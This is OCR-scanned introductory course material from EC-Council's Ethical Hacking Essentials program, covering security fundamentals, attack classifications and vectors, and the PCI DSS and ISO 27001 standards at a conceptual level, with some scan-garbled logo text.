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Foreword

Information security refers to securing data and information systems from unauthorized access,
unauthorized use, misuse, destruction, or alteration. The goal of information security is to protect
the confidentiality, integrity, and availability of digital information.

Information security plays a vital role in all organizations. It is a state of affairs where information,
information processing, and communication are protected against confidentiality, integrity, and
availability of the information and information processing. In communications, information
security also covers trustworthy authentication of messages that cover identification of the
parties, verifying, and recording the approval and authorization of the information, non-
alteration of the data, and the non-repudiation of the communication or stored data.

Information security is one of the required elements constituting the quality of information and
information systems. Precaution to information security risks and taking adequate and sufficient
information security measures are part of the good information processing practice required in
particular by the data protection laws and more broadly, part of the good information
management practice.

The Ethical Hacking Essentials (EHE) program covers the fundamental concepts of information
security and ethical hacking. It equips students with the skills required to identify the increasing
information security threats which reflect on the security posture of the organization and
implement general security controls.

This program gives a holistic overview of the key components of information security. The course
is designed for those interested in learning the various fundamentals of information security and
ethical hacking and aspire to pursue a career in information security.
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About EC-Council

The International Council of Electronic Commerce Consultants, better known as EC-Council, was
founded in late 2001 to address the need for well-educated and certified information security
and e-business practitioners. EC-Council is a global, member-based organization composed of
industry and subject matter experts working together to set the standards and raise the bar in
information security certification and education.

EC-Council first developed the Certified Ethical Hacker (C| EH) program with the goal of teaching
the methodologies, tools, and techniques used by hackers. Leveraging the collective knowledge
of hundreds of subject-matter experts, the CEH program has rapidly gained popularity around
the world and is now delivered in more than 145 countries by more than 950 authorized training
centers. It is considered as the benchmark for many government entities and major corporations
around the globe.

EC-Council, through its impressive network of professionals and huge industry following, has also
developed a range of other leading programs in information security and e-business. EC-Council
certifications are viewed as the essential certifications needed when standard configuration and
security policy courses fall short. Providing a true, hands-on, tactical approach to security,
individuals armed with the knowledge disseminated by EC-Council programs are tightening
security networks around the world and beating hackers at their own game.

Other EC-Council Programs

Security Awareness: Certified Secure Computer User

The purpose of the CSCU training program is to provide students with
the necessary knowledge and skills to protect their information assets.
c s c u This class will immerse students in an interactive learning environment
where they will acquire fundamental understanding of various
computer and network security threats such as identity theft, credit card
fraud, onIme banking phishing scams, viruses and backdoors, email hoaxes, sexual predators and
other online threats, loss of confidential information, hacking attacks, and social engineering.

More importantly, the skills learnt from the class help students take the necessary steps to
mitigate their security exposure.

Certifi ed Secure Computer User

Network Defense: Certified Network Defender

Students enrolled in the Certified Network Defender course will gain a
detailed understanding of network defense and develop their hands-on
C N D expertise to perform in real-life network defense situations. They will gain
the depth of technical knowledge required to actively design a secure
network within your organization. This course provides a fundamental
understanding of the true nature of data transfer, network technologies, and software

technologies so that students may understand how networks operate, how automation software
behaves, and how to analyze networks and their defense.

Certified I Network Defender
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Students will learn how to protect, detect, and respond to the network attacks as well as learning
about network defense fundamentals, the application of network security controls, protocols,
perimeter appliances, secure IDS, VPN, and firewall configuration. Students will also learn the
intricacies of network traffic signature, analysis, and vulnerability scanning, which will help in
designing improved network security policies and successful incident response plans. These skills
will help organizations foster resiliency and operational continuity during attacks.

Ethical Hacking: Certified Ethical Hacker

~ The Certified Ethical Hacker (CEH) credential is the most trusted ethical
hacking certification and accomplishment recommended by employers
globally. It is the most desired information security certification and

represents one of the fastest-growing cyber credentials required by

critical infrastructure and essential service providers. Since the

Certified | Ethical Hacker jntroduction of CEH in 2003, it is recognized as a standard within the
information security community. CEH continues to introduce the latest hacking techniques and
the most advanced hacking tools and exploits used by hackers and information security

professionals today. The Five Phases of Ethical Hacking and the original core mission of CEH
remain valid and relevant today: “To beat a hacker, you need to think like a hacker.”

CEH provides an in-depth understanding of ethical hacking phases, various attack vectors, and
preventative countermeasures. It will teach you how hackers think and act maliciously so that
you will be better positioned to set up your security infrastructure and defend future attacks.
Understanding system weaknesses and vulnerabilities help organizations strengthen their
system security controls to minimize the risk of an incident.

CEH was built to incorporate a hands-on environment and systematic process across every ethical
hacking domain and methodology, giving you the opportunity to work towards proving the
required knowledge and skills needed to perform the job of an ethical hacker. You will be exposed
to an entirely different posture towards the responsibilities and measures required to be secure.

Penetration Testing: Certified Penetration Testing Professional
| CPENT certification requires you to demonstrate the application of
advanced penetration testing techniques such as advanced
c P E N T Windows attacks, 10T systems attacks, advanced binaries
= exploitation, exploits writing, bypassing a filtered network,

Operational Technology (OT) pen testing, accessing hidden networks
with pivoting and double pivoting, privilege escalation, and evading defense mechanisms.

Cenifiedl P i Testing  Prof

EC-Council’s CPENT standardizes the knowledge base for penetration testing professionals by
incorporating best practices followed by experienced experts in the field. The objective of the
CPENT is to ensure that each professional follows a strict code of ethics, is exposed to the best
practices in the domain of penetration testing and aware of all the compliance requirements
required by the industry.
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Unlike a normal security certification, the CPENT credential provides an assurance that security
professionals possess skills to analyze the security posture of a network exhaustively and
recommend corrective measures authoritatively. For many years EC-Council has been certifying
IT Security Professionals around the globe to ensure these professionals are proficient in network
security defense mechanisms. EC-Council’s credentials vouch for their professionalism and
expertise thereby making these professionals more sought after by organizations and consulting
firms globally.

Computer Forensics: Computer Hacking Forensic Investigator

Computer Hacking Forensic Investigator (CHFI) is a comprehensive
course covering major forensic investigation scenarios. It enables
c H F I students to acquire crucial hands-on experience with various forensic
Hacking Forensic investigation techniques. Students learn how to utilize standard

INVESTIGATOR  forensic tools to successfully carry out a computer forensic
investigation, preparing them to better aid in the prosecution of perpetrators.

Computer

EC-Council’s CHFI certifies individuals in the specific security discipline of computer forensics
from a vendor-neutral perspective. The CHFI certification bolsters the applied knowledge of law
enforcement personnel, system administrators, security officers, defense and military personnel,
legal professionals, bankers, security professionals, and anyone who is concerned about the
integrity of network infrastructures.

Incident Handling: EC-Council Certified Incident Handler

EC-Council’s Certified Incident Handler (E|CIH) program has
been designed and developed in collaboration with
E c I H cybersecurity and incident handling and response practitioners
across the globe. It is a comprehensive specialist-level program
that imparts knowledge and skills that organizations need to

effectively handle post breach consequences by reducing the impact of the incident, from both
a financial and a reputational perspective.

EC-Council I Certified Incident Handler

E|CIH is a method-driven program that uses a holistic approach to cover vast concepts
concerning organizational incident handling and response from preparing and planning the
incident handling response process to recovering organizational assets after a security incident.
These concepts are essential for handling and responding to security incidents to protect
organizations from future threats or attacks.

Management: Certified Chief Information Security Officer
The Certified Chief Information Security Officer (CCISO) program was
developed by EC-Council to fill a knowledge gap in the information
security industry. Most information security certifications focus on

specific tools or practitioner capabilities. When the CCISO program was

Certified (Iu:l Information Security Officer
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developed, no certification existed to recognize the knowledge, skills, and aptitudes required for
an experienced information security professional to perform the duties of a CISO effectively and
competently. In fact, at that time, many questions existed about what a CISO really was and the
value this role adds to an organization.

The CCISO Body of Knowledge helps to define the role of the CISO and clearly outline the
contributions this person makes in an organization. EC-Council enhances this information
through training opportunities conducted as instructor-led or self-study modules to ensure
candidates have a complete understanding of the role. EC-Council evaluates the knowledge of
CCISO candidates with a rigorous exam that tests their competence across five domains with
which a seasoned security leader should be familiar.

Application Security: Certified Application Security Engineer
The Certified Application Security Engineer

Y.NET] BINTN  (CASE) credential is developed in

c A s E c A s E partnership with large application and
software development experts globally.

Corificd | plcaton secuiy ginse - coniiea | Appiion Ssewy i Tha  CASE credential tests the critical

security skills and knowledge required
throughout a typical software development life cycle (SDLC), focusing on the importance of the
implementation of secure methodologies and practices in today’s insecure operating
environment.

The CASE certified training program is developed concurrently to prepare software professionals
with the necessary capabilities that are expected by employers and academia globally. It is
designed to be a hands-on, comprehensive application security course that will help software
professionals create secure applications. The training program encompasses security activities
involved in all phases of the Software Development Lifecycle (SDLC): planning, creating, testing,
and deploying an application.

Unlike other application security trainings, CASE goes beyond just the guidelines on secure coding
practices and includes secure requirement gathering, robust application design, and handling
security issues in post development phases of application development. This makes CASE one of
the most comprehensive certifications on the market today. It is desired by software application
engineers, analysts, testers globally, and respected by hiring authorities.

Incident Handling: Certified Threat Intelligence Analyst

Certified Threat Intelligence Analyst (C|TIA) is designed and developed
in collaboration with cybersecurity and threat intelligence experts
c T I A across the globe to help organizations identify and mitigate business
risks by converting unknown internal and external threats into known

Certified | Threat Inelligence Analyst ~ threats. It is @ comprehensive, specialist-level program that teaches a
structured approach for building effective threat intelligence.
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In the ever-changing threat landscape, C|TIA is an essential Threat Intelligence training program
for those who deal with cyber threats on a daily basis. Organizations today demand a
professional-level cybersecurity threat intelligence analyst who can extract the intelligence from
data by implementing various advanced strategies. Such professional-level Threat Intelligence
training programs can only be achieved when the core of the curricula maps with and is compliant
to government and industry published threat intelligence frameworks.

Incident Handling: Certified SOC Analyst

The Certified SOC Analyst (CSA) program is the first step to joining a
security operations center (SOC). It is engineered for current and

aspiring Tier | and Tier Il SOC analysts to achieve proficiency in
performing entry-level and intermediate-level operations.

CSA is a training and credentialing program that helps the candidate
acquire trending and in-demand technical skills through instruction by
some of the most experienced trainers in the industry. The program focuses on creating new
career opportunities through extensive, meticulous knowledge with enhanced level capabilities
for dynamically contributing to a SOC team. Being an intense 3-day program, it thoroughly covers
the fundamentals of SOC operations, before relaying the knowledge of log management and
correlation, SIEM deployment, advanced incident detection, and incident response. Additionally,
the candidate will learn to manage various SOC processes and collaborate with CSIRT at the time
of need.

Certified I SOC  Analyst
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EHE Exam Information

EHE Exam Details
Exam Title Ethical Hacking Essentials (EHE)
Exam Code 112-52
Availability EC-Council Exam Portal (please visit https://www.eccexam.com)
Duration 2 Hours
Questions 75
Passing Score 70%
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Information Security Fundamentals

Module Objectives

0 Understanding the Need for Security

Understanding the Elements of Information
Security

Understanding the Security, Functionality, and
Usability Triangle

Understanding Motives, Goals, and Objectives
of Information Security Attacks

e Overview of Classification of Attacks
o Overview of Information Security Attack Vectors

Overview of Various Information Security Laws and
Regulations
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Module Objectives

Attackers break into systems for various reasons. Therefore, it is important to understand how,
and why, malicious hackers attack and exploit systems. As Sun Tzu states in the Art of War, “If
you know yourself but not the enemy, for every victory gained, you will also suffer a defeat.”
Security professionals must guard their infrastructure against exploits by knowing the enemy—
the malicious hacker(s)—who seek(s) to use the same infrastructure for illegal activities.

This module starts with an overview of the need for security and emerging threat vectors. It
provides an insight into the different elements of information security. Later, the module
discusses the types and classes of attacks and ends with a brief discussion on information security
laws and regulations.

At the end of this module, you will be able to do the following:
= Understand the need for security
= Describe the elements of information security
= Describe the security, functionality, and usability triangle
= Explain the motives, goals, and objectives of information security attacks
= Explain the classification of attacks
= Describe the information security attack vectors

= Know about the information security laws and regulations
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Module Flow

o Discuss Information
Security Fundamentals

Discuss Various
9 Information Security
Laws and Regulations

‘;’
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Discuss Information Security Fundamentals

Information is a critical asset that organizations must secure. If an organization’s sensitive
information falls into the wrong hands, the organization may suffer considerable losses in terms
of finances, brand reputation, or customers, or in other ways. To provide an understanding of
how to secure such critical information resources, this module starts with an overview of
information security.

This section introduces the need for security; the elements of information security; the security,
functionality, and usability triangle; motives, goals, and objectives of information security
attacks; classification of attacks; and information security attack vectors.
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Information Security Fundamentals

Information security is a state of well-being of information and
infrastructure in which the possibility of theft, tampering, and
disruption of information and services is low or tolerable
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What is Information Security?

Information security is “the state of the well-being of information and infrastructure in which the
possibility of theft, tampering, or disruption of information and services is kept low or tolerable.”
Information security refers to the protection or safeguarding of information and information
systems that use, store, and transmit information from unauthorized access, disclosure,
alteration, and destruction.
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Information Security Fundamentals

Need for Security

Evolution of technology, focused on ease m
of use

Rely on the use of computers for accessing, @
providing, or just storing information

Increased network environment and
network-based applications

Direct impact of security breach on the @
corporate asset base and goodwill

Increasing complexity of computer
infrastructure administration and management
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Need for Security

Today, organizations are increasingly relying on computing networks because users and
employees expect to exchange information at the speed of thought. Additionally, with the
evolution of technology, there has been a greater focus on ease of use. Routine tasks rely on the
use of computers for accessing, providing, or just storing information. However, as information
assets differentiate the competitive organization from others of its kind, do they register an
increase in their contribution to the corporate capital? There is a sense of urgency on behalf of
the organization to secure these assets from likely threats and vulnerabilities. The subject of
addressing information security is vast and it is the endeavor of this course to provide the student
with a comprehensive body of knowledge required to secure the information assets under
his/her consideration.

This course assumes that organizational policies exist that are endorsed by top-level
management and that business objective and goals related to security have been incorporated
into the corporate strategy. A security policy is a specification of how objects in a security domain
are allowed to interact. The importance of security in the contemporary information and
telecommunications scenario cannot be overemphasized. There are myriad reasons for securing
ICT infrastructure. Initially, computers were designed to facilitate research, and this did not place
much emphasis on security as these resources, being scarce, were meant for sharing. The
permeation of computers into both the routine workspace and daily life has led to more control
being transferred to computers and a higher dependency on them for facilitating important
routine tasks. This has further increased the usage of networked environments and network-
based applications. Any network disruptions mean a loss of time, money, and, sometimes, even
loss of life. Additionally, the increasing complexity of computer infrastructure administration and
management is creating a direct impact of security breaches on the corporate asset base and
goodwill.
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Ethical Hacking Essentials Exam 112-52
Information Security Fundamentals

Elements of Information

L]
Security
o Confidentiality Integrity Availability
Assurance that the The trustworthiness of data Assurance that the systems
information is accessible or resources in terms of responsible for delivering, storing,
only to those authorized to preventing improper or and processing information are
have access unauthorized changes accessible when required by the

authorized users

0 Authenticity g Non-Repudiation

Refers to the characteristic of a communication, A guarantee that the sender of a message cannot
document, or any data that ensures the quality later deny having sent the message and that the
of being genuine recipient cannot deny having received the message
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Elements of Information Security

Information security relies on five major elements: confidentiality, integrity, availability,
authenticity, and non-repudiation.

= Confidentiality
Confidentiality is the assurance that the information is accessible only to authorized.
Confidentiality breaches may occur due to improper data handling or a hacking attempt.
Confidentiality controls include data classification, data encryption, and proper disposal
of equipment (such as DVDs, USB drives, etc.).

= |ntegrity
Integrity is the trustworthiness of data or resources in the prevention of improper and
unauthorized changes—the assurance that information is sufficiently accurate for its
purpose. Measures to maintain data integrity may include a checksum (a number
produced by a mathematical function to verify that a given block of data is not changed)
and access control (which ensures that only authorized people can update, add, or delete
data).

= Availability
Availability is the assurance that the systems responsible for delivering, storing, and
processing information are accessible when required by authorized users. Measures to
maintain data availability can include disk arrays for redundant systems and clustered
machines, antivirus software to combat malware, and distributed denial-of-service
(DDoS) prevention systems.
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Ethical Hacking Essentials Exam 112-52
Information Security Fundamentals

= Authenticity

Authenticity refers to the characteristic of communication, documents, or any data that
ensures the quality of being genuine or uncorrupted. The major role of authentication is
to confirm that a user is genuine. Controls such as biometrics, smart cards, and digital
certificates ensure the authenticity of data, transactions, communications, and
documents.

= Non-Repudiation

Non-repudiation is a way to guarantee that the sender of a message cannot later deny
having sent the message and that the recipient cannot deny having received the
message. Individuals and organizations use digital signatures to ensure non-repudiation.
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Information Security Fundamentals

The Security, Functionality, and
Usability Triangle

Level of security in any system can be defined by the strength of
three components:

Moving the ball towards
security means less
functionality and usability

Functionality
(Features)

\/

Security ' L:: [ d Usability
(Restrictions) = / 1) ==y (GUI)

e
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The Security, Functionality, and Usability Triangle

Technology is evolving at an unprecedented rate. As a result, new products in the market focus
more on ease of use than on secure computing. Though technology was originally developed for
“honest” research and academic purposes, it has not evolved at the same pace as user
proficiency. Moreover, in this evolution, system designers often overlook vulnerabilities during
the intended deployment of the system. However, adding more built-in default security
mechanisms allows users more competence. With the augmented use of computers for an
increasing number of routine activities, it is becoming difficult for security professionals to
allocate resources exclusively for securing systems. This includes the time needed to check log
files, detect vulnerabilities, and apply security update patches.

Routine activities alone consume most of system professionals’ time, which leaves relatively little
time for vigilant administration or for the deployment of security measures for computing
resources on a regular and innovative basis. This fact has increased the demand for dedicated
security professionals to constantly monitor and defend ICT (Information and Communication
Technology) resources.

Originally, to “hack” meant to possess extraordinary computer skills to explore hidden features
of computer systems. In the context of information security, hacking is defined as the exploitation
of vulnerabilities of computer systems and networks and requires great proficiency. However,
automated tools and codes are available today on the Internet that make it possible for anyone
who possesses the will to succeed at hacking. However, mere compromise of system security
does not denote hacking success. There are websites that insist on “taking back the Internet” as
well as people who believe that they are doing everyone a favor by posting details of their
exploits.
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Information Security Fundamentals

The ease with which system vulnerabilities can be exploited has increased while the knowledge
curve required to perform such exploits has decreased. The concept of the elite “super attacker”
is an illusion. One of the main impediments of the growth of security infrastructure lies in an
unwillingness on the part of exploited or compromised victims to report such incidents for fear
of losing the goodwill and faith of their employees, customers, or partners, and/or of losing
market share. The trend of information assets influencing the market has seen more companies
thinking twice before reporting incidents to law enforcement officials for the fear of “bad press”
and negative publicity.

The increasingly networked environment, with companies often using their websites as single
points of contact across geographical boundaries, makes it critical for security professionals to
take countermeasures to prevent exploits that can result in data loss. This is why corporations
need to invest in security measures to protect their information assets.

The level of security in any system can be defined by the strength of three components:
= Functionality: The set of features provided by the system.
= Usability: The GUI components used to design the system for ease of use.
= Security: Restrictions imposed on accessing the components of the system.

The relationship between these three components is demonstrated by using a triangle because
an increase or decrease in any one of the components automatically affects the other two
components. Moving the ball toward any of the three components means decreasing the
intensity of the other two components.

The diagram represents the relationship between functionality, usability, and security. For
example, as shown in the figure, if the ball moves toward security, it means increased security
and decreased functionality and usability. If the ball is in the center of the triangle, then all the
three components are balanced. If the ball moves toward usability, it leads to increased usability
and decreased functionality as well as security. For any implementation of security controls, all
the three components have to be considered carefully and balanced to get acceptable
functionality and usability with acceptable security.

Moving the ball towards
security means less
functionality and usability

Functionality
(Features)

Security
(Restrictions)

B | | Usability
Y ==y (GUI)

Figure 1.1: Security, Functionality, and Usability Triangle
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Compliance to government Lack of qualified and skilled Difficulty in centralizing security
laws and regulations cybersecurity professionals in a distributed computing

Fragmented and complex Compliance issues due to the Relocation of sensitive data from
privacy and data protection implementation of Bring Your Own legacy data centers to the cloud
regulations Device (BYOD) policies in companies without proper configuration

Security Challenges

environment

N
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Security Challenges

The accelerating digitization has benefited the IT industry in all ways; however, it has also paved
the way for sophisticated cyberattacks and cyber security challenges. There is a need for security
professionals in every organization to secure their sensitive and private data. Security
professionals face many challenges and threats from cyber-attackers intent on disrupting their
networks and assets.

The following are some of the security challenges faced by security professionals and
organizations:

Compliance to government laws and regulations

Lack of qualified and skilled cybersecurity professionals

Difficulty in centralizing security in a distributed computing environment

Difficulty in overseeing end-to-end processes due to complex IT infrastructure
Fragmented and complex privacy and data protection regulations

Use of a serverless architecture and applications that rely on third-party cloud providers

Compliance issues and issues with data removal and retrieval due to the
implementation of Bring Your Own Device (BYOD) policies in companies

Relocation of sensitive data from legacy data centers to the cloud without proper
configuration

Weak links in supply-chain management

Increase in cybersecurity risks such as data loss and unpatched vulnerabilities and errors
due to the usage of shadow IT

Shortage of research visibility and training for IT employees
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Motives, Goals, and Objectives of Information Security
Attacks

Attacks = Motive (Goal) + Method + Vulnerability

A motive originates out of the notion that the target system stores or processes something valuable,
and this leads to the threat of an attack on the system

Attackers try various tools and attack techniques to exploit vulnerabilities in a computer system or its
security policy and controls in order to fulfil their motives

‘\ Motives behind information security attacks

q v" Disrupting business continuity
(( ‘ ‘ ‘rj' v’ Stealing information and manipulating data
v’ Creating fear and chaos by disrupting critical infrastructures

v’ Causing financial loss to the target

v’ Damaging the reputation of the target
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Motives, Goals, and Objectives of Information Security Attacks

Attackers generally have motives (goals), and objectives behind their information security
attacks. A motive originates out of the notion that a target system stores or processes
something valuable, which leads to the threat of an attack on the system. The purpose of the
attack may be to disrupt the target organization’s business operations, to steal valuable
information for the sake of curiosity, or even to exact revenge. Therefore, these motives or
goals depend on the attacker’s state of mind, their reason for carrying out such an activity, as
well as their resources and capabilities. Once the attacker determines their goal, they can
employ various tools, attack techniques, and methods to exploit vulnerabilities in a computer
system or security policy and controls.

Attacks = Motive (Goal) + Method + Vulnerability

Motives behind information security attacks

= Disrupt business continuity = Achieve a state’s military objectives
= Perform information theft = Damage the reputation of the target
= Manipulating data = Take revenge

= Create fear and chaos by disrupting = Demand ransom

critical infrastructures
= Bring financial loss to the target

= Propagate religious or political beliefs
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Classification of Attacks

Passive Attacks

» Do not tamper with the data and involve intercepting and monitoring network
traffic and data flow on the target network

» Examples include sniffing and eavesdropping

» Tamper with the data in transit or disrupt the communication or services between
the systems to bypass or break into secured systems

» Examples include DoS, Man-in-the-Middle, session hijacking, and SQL injection

G Close-in Attacks
» Are performed when the attacker is in close physical proximity with the target

system or network in order to gather, modify, or disrupt access to information

» Examples include social engineering such as eavesdropping, shoulder surfing,
and dumpster diving

Copyright © by EC-COREIl. All Rights Reserved. Reproduction is Strictly Prohibited.
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» Involve using privileged » Occur when attackers
access to violate rules or tamper with hardware or
intentionally cause a threat software prior to
to the organization’s installation
information or information

Attackers tamper with the
systems

hardware or software at
Examples include theft of its source or in transit
physical devices and

planting keyloggers,

backdoors, and malware
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Classification of Attacks

According to IATF, security attacks are classified into five categories: passive, active, close-in,
insider, and distribution.

= Passive Attacks

Passive attacks involve intercepting and monitoring network traffic and data flow on the
target network and do not tamper with the data. Attackers perform reconnaissance on
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network activities using sniffers. These attacks are very difficult to detect as the attacker
has no active interaction with the target system or network. Passive attacks allow
attackers to capture the data or files being transmitted in the network without the
consent of the user. For example, an attacker can obtain information such as
unencrypted data in transit, clear-text credentials, or other sensitive information that is
useful in performing active attacks.

Examples of passive attacks:

o Footprinting

o Sniffing and eavesdropping

o Network traffic analysis

o Decryption of weakly encrypted traffic
Active Attacks

Active attacks tamper with the data in transit or disrupt communication or services
between the systems to bypass or break into secured systems. Attackers launch attacks
on the target system or network by sending traffic actively that can be detected. These
attacks are performed on the target network to exploit the information in transit. They
penetrate or infect the target’s internal network and gain access to a remote system to
compromise the internal network.

Examples of active attacks:

o Denial-of-service (DoS) attack o Firewall and IDS attack
o Bypassing protection mechanisms o Profiling
o Malware attacks (such as o Arbitrary code execution

viruses, worms, ransomware) o Privilege escalation

o Modification of information
o Backdoor access

o Spoofing attacks o Cryptography attacks

©  Replay attacks o SQlinjection

o Password-based attacks o XSS attacks

o Session hijacking o Directory traversal attacks

© Man-in-the-Middle attack o Exploitation of application and

o DNS and ARP poisoning OS software
o Compromised-key attack

Close-in Attacks

Close-in attacks are performed when the attacker is in close physical proximity with the
target system or network. The main goal of performing this type of attack is to gather or
modify information or disrupt its access. For example, an attacker might shoulder surf
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user credentials. Attackers gain close proximity through surreptitious entry, open
access, or both.

Examples of close-in attacks:

o Social engineering (Eavesdropping, shoulder surfing, dumpster diving, and other
methods)

= Insider Attacks

Insider attacks are performed by trusted persons who have physical access to the critical
assets of the target. An insider attack involves using privileged access to violate rules or
intentionally cause a threat to the organization’s information or information systems.
Insiders can easily bypass security rules, corrupt valuable resources, and access sensitive
information. They misuse the organization’s assets to directly affect the confidentiality,
integrity, and availability of information systems. These attacks impact the
organization’s business operations, reputation, and profit. It is difficult to figure out an
insider attack

Examples of insider attacks:

o Eavesdropping and wiretapping

o Theft of physical devices

o Social engineering

o Data theft and spoliation

o Pod slurping

o Planting keyloggers, backdoors, or malware
= Distribution Attacks

Distribution attacks occur when attackers tamper with hardware or software prior to
installation. Attackers tamper the hardware or software at its source or when it is in
transit. Examples of distribution attacks include backdoors created by software or
hardware vendors at the time of manufacture. Attackers leverage these backdoors to
gain unauthorized access to the target information, systems, or network.

o Moaodification of software or hardware during production

o Modification of software or hardware during distribution
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Information Security Attack Vectors

a

Cloud Computing
Threats

Cloud computing is an
on-demand delivery of
IT capabilities where
sensitive data of
organizations, and their
clients is stored. Flaw in
one client’s application
cloud allow attackers to

access other client’s data

Lo

Advanced Persistent

Threats (APT)

An attack that is
focused on stealing
information from
the victim machine
without the user
being aware of it

"
Viruses and
Worms

The most prevalent
networking threat
that are capable of
infecting a network
within seconds

Ransomware

Restricts access to
the computer
system’s files and
folders and demands
an online ransom
payment to the
malware creator(s) in
order to remove the
restrictions

Mobile Threats

Focus of attackers has
shifted to mobile
devices due to
increased adoption of
mobile devices for
business and personal
purposes and
comparatively lesser
security controls

Copyright © by EC-Council. All Rights Reserved. Reproduction is Strictly Prohibited.

Information Security Attack Vectors (Cont’d)

Botnet

A huge network of
the compromised
systems used by an
intruder to perform
various network
attacks

Insider Attack

An attack performed
on a corporate
network or on a
single computer by
an entrusted person
(insider) who has
authorized access to
the network

Phishing

The practice of
sending an
illegitimate email
falsely claiming to be
from a legitimate site
in an attempt to
acquire a user’s
personal or account
information

Web Application
Threats

IoT
Threats

Attackers target web
applications to steal
credentials, set up
phishing site, or
acquire private
information to
threaten the
performance of the
website and hamper
its security

@ |oT devices
include many
software
applications that
are used to
access the device
remotely

@ Flaws in the loT
devices allows
attackers access
into the device
remotely and
perform various
attacks
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Information Security Attack Vectors

Below is a list of information security attack vectors through which an attacker can gain access
to a computer or network server to deliver a payload or seek a malicious outcome.

* Cloud computing threats: Cloud computing refers to the on-demand delivery of IT
capabilities in which IT infrastructure and applications are provided to subscribers as a
metered service over a network. Clients can store sensitive information on the cloud. A
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flaw in one client’s application cloud could potentially allow attackers to access another
client’s data.

= Advanced persistent threats (APTs): This refers to an attack that focuses on stealing
information from the victim machine without its user being aware of it. These attacks are
generally targeted at large companies and government networks. Because APT attacks
are slow in nature, their effect on computer performance and Internet connections is
negligible. APTs exploit vulnerabilities in the applications running on computers,
operating systems, and embedded systems.

= Viruses and worms: Viruses and worms are the most prevalent networking threats, and
are capable of infecting a network within seconds. A virus is a self-replicating program
that produces a copy of itself by attaching to another computer program, boot sector, or
document. A worm is a malicious program that replicates, executes, and spreads across
network connections.

Viruses make their way into the computer when the attacker shares a malicious file
containing it with the victim through the Internet or through any removable media.
Worms enter a network when the victim downloads a malicious file, opens a spam mail,
or browses a malicious website.

= Ransomware: Ransomware is a type of a malware that restricts access to the computer
system’s files and folders and demands an online ransom payment to the malware
creator(s) in order to remove the restrictions. It is generally spread via malicious
attachments to email messages, infected software applications, infected disks, or
compromised websites.

= Mobile threats: Attackers are increasingly focusing on mobile devices due to the
increased adoption of smartphones for business and personal use and their
comparatively fewer security controls.

Users may download malware-infested applications (APKs) onto their smartphones,
which can damage other applications and data or reveal sensitive information to
attackers. Attackers can remotely access a smartphone’s camera and recording app to
view user activities and track voice communications, which can aid them in an attack.

= Botnet: A botnetis a huge network of compromised systems used by attackers to perform
denial-of-service attacks. Bots, in a botnet, perform tasks such as uploading viruses,
sending mails with botnets attached to them, stealing data, and so on. Antivirus programs
might fail to find—or even scan for—spyware or botnets. Hence, it is essential to deploy
programs specifically designed to find and eliminate such threats.

= Insider attack: An insider attack is an attack by someone from within an organization who
has authorized access to its network and is aware of the network architecture.

= Phishing: Phishing refers to the practice of sending an illegitimate email falsely claiming
to be from a legitimate site in an attempt to acquire a user’s personal or account
information. Attackers perform phishing attacks by distributing malicious links via some
communication channel or mails to obtain private information such as account numbers,
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credit card numbers, mobile numbers, etc. from the victim. Attackers design emails to
lure victims in such a way that they appear to be from some legitimate source or at times
they send malicious links that resemble a legitimate website.

= Web application threats: Attacks such as SQL injection and cross-site scripting has made
web applications a favorable target for attackers to steal credentials, set up phishing site,
or acquire private information. Most of these attacks are the result of flawed coding and
improper sanitization of input and output data from the web application. Web application
attacks can threaten the performance of the website and hamper its security.

= |oT threats: loT devices connected to the Internet have little or no security, which makes
them vulnerable to various types of attacks. These devices include many software
applications that are used to access the device remotely. Due to hardware constraints
such as memory, battery, etc. these loT applications do not include complex security
mechanisms to protect the devices from attacks. These drawbacks make loT devices more
vulnerable and allow attackers to access the device remotely and perform various attacks.
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Discuss Various Information Security Laws and Regulations

Laws are a system of rules and guidelines that are enforced by a particular country or
community to govern behavior. A Standard is a “document established by consensus and
approved by a recognized body that provides, for common and repeated use, rules, guidelines,
or characteristics for activities or their results, aimed at the achievement of the optimum
degree of order in a given context.” This section deals with the various laws and regulations

dealing with information security in different countries.
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Payment Card Industry Data Security Standard (PCI DSS)

O A proprietary information security standard for organizations that handle cardholder information for
major debit, credit, prepaid, e-purse, ATM, and POS cards

O PCI DSS applies to all entities involved in payment card processing — including merchants, processors,
acquirers, issuers, and service providers, as well as all other entities that store, process, or transmit
cardholder data

PCI Data Security Standard — High Level Overview

° Build and Maintain a Secure Network o Implement Strong Access Control Measures
Q Protect Cardholder Data Q Regularly Monitor and Test Networks
Q Maintain a Vulnerability Management Program Q Maintain an Information Security Policy

https://www.pcisecuritystandards.org

Failure to meet the PCI DSS requirements may result in fines or the termination of payment card processing privileges
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Payment Card Industry Data Security Standard (PCI DSS)
Source: https.//www.pcisecuritystandards.org

The Payment Card Industry Data Security Standard (PCI DSS) is a proprietary information
security standard for organizations that handle cardholder information for the major debit,
credit, prepaid, e-purse, ATM, and POS cards. This standard offers robust and comprehensive
standards and supporting materials to enhance payment card data security. These materials
include a framework of specifications, tools, measurements, and support resources to help
organizations ensure the safe handling of cardholder information. PCI DSS applies to all entities
involved in payment card processing, including merchants, processors, acquirers, issuers, and
service providers, as well as all other entities that store, process, or transmit cardholder data.
PCI DSS comprises a minimum set of requirements for protecting cardholder data. The Payment
Card Industry (PClI) Security Standards Council has developed and maintains a high-level
overview of PCI DSS requirements.

PCI Data Security Standard — High Level Overview

= |nstall and maintain a firewall configuration to protect
Build and Maintain a Secure cardholder data

Network = Do not use vendor-supplied defaults for system passwords
and other security parameters

=  Protect stored cardholder data

Protect Cardholder Data = Encrypt transmission of cardholder data across open, public
networks
Maintain a Vulnerability = Use and regularly update anti-virus software or programs
Management Program = Develop and maintain secure systems and applications
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= Restrict access to cardholder data by business need to know
Implement Strong Access

= Assign a unique ID to each person with computer access
Control Measures g q P P

= Restrict physical access to cardholder data

=  Track and monitor all access to network resources and

Regularly Monitor and Test cardholder data

Networks .

= Regularly test security systems and processes
Maintain an Information = Maintain a policy that addresses information security for all
Security Policy personnel

Table 1.1: Table Showing the PCI Data Security Standard—High-Level Overview

Failure to meet PCI DSS requirements may result in fines or the termination of payment-card
processing privileges.
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ISO/IEC 27001:2013

O Specifies the requirements for establishing, implementing, maintaining, and continually improving an
information security management system within the context of the organization

O Itis intended to be suitable for several different types of use, including:

Use within organizations to formulate security Identification and clarification of existing information
requirements and objectives security management processes

Use within organizations to ensure that security c) ol Use by organization management to determine the status
risks are cost-effectively managed m of information security management activities

Use within organizations to ensure compliance Implementation of business-enabling information
with laws and regulations security
Definition of new information security management Use by organizations to provide relevant information
processes about information security to customers

https://www.iso.org
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ISO/IEC 27001:2013
Source: https.//www.iso.org

